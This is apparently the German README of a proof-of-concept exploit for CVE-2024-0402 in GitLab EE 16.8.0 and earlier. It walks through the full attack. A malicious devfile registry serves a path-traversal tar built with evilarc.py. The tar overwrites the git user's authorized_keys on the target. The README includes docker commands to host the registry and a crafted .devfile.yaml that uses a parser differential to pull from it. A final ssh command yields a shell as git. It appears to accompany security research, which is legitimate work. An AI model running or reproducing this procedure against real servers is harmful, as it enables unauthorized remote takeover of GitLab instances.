
Exploit für CVE-2024-0402 in Gitlab
Das Projekt enthält ein bösartiges Devfile Registry, das zur Ausnutzung von CVE-2024-0402 in Gitlab verwendet werden kann.
Ein nodejs:2.2.1 Stack wird indiziert, um die Datei archive.tar verfügbar zu machen, die das Path-Traversal-Problem in der registry-support library vor v1.1.0 ausnutzt.
tar location: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar
Es wurde mit Hilfe von evilarc.py erstellt, um die Datei /var/opt/gitlab/.ssh/authorized_keys auf dem Ziel-Gitlab-Server mit den SSH-Schlüsseln aus dem Ordner ssh-keys/ in diesem Repository zu überschreiben.
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix
Nach dem Start verfügt das Registry über das bösartige .tar, das zu den abrufbaren Stacks hinzugefügt wurde.
Siehe die Auflistung in index.json unter den Stack-Ressourcen:
...
"links": {
"self": "devfile-catalog/nodejs:2.2.1"
},
...
"resources": [
"devfile.yaml",
"archive.tar"
],
...
Konfigurieren Sie eine Gitlab EE Instanz mit Version <=16.8.0. Aktivieren Sie Workspaces darauf gemäß der Dokumentation und den zusätzlichen Hinweisen in unserem speziellen !exploitable series Blogbeitrag.
Wenn Sie bereit sind, folgen Sie den untenstehenden Schritten:
Führen Sie docker build -t devfile-index . im Stammverzeichnis dieses Repos aus, um das Registry-Container-Image zu erstellen
Führen Sie docker run -d -p 5000:5000 --name local-registrypoc registry:2 aus, um ein lokales Container-Registry zu starten, das vom Devfile Registry zum Speichern des Stacks verwendet wird. Hinweis: Sie sollten den Befehl anpassen, um es nach Bedarf verfügbar zu machen. Bei uns fand alles in einer lokalen Umgebung statt
Führen Sie docker run --network host devfile-index aus, um das in Schritt eins erstellte bösartige Devfile Registry zu starten. Hinweis: Ändern Sie den Befehl nach Belieben, um es für die Gitlab-Instanz erreichbar zu machen
Authentifizieren Sie sich als Entwickler auf dem Ziel-Gitlab-Server und bearbeiten Sie dann die .devfile.yaml eines von Ihnen kontrollierten Repositorys. Das YAML muss den Parser-Unterschied ausnutzen, um das Abrufen aus dem bösartigen Registry zu ermöglichen
schemaVersion: 2.2.0
!binary parent:
id: nodejs
registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
- name: development-environment
attributes:
gl/inject-editor: true
container:
image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
Um das Schreiben der Datei in der Gitlab-UI auszulösen, starten Sie einfach einen neuen Workspace in dem bearbeiteten Repository. Nach wenigen Sekunden sollte das beliebige Dateischreiben stattfinden und der ssh-keys/pockey.pub wird zu den authorized_keys des Benutzers git hinzugefügt
Sie sollten in der Lage sein, eine uneingeschränkte Shell als git zu erhalten mit
ssh -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>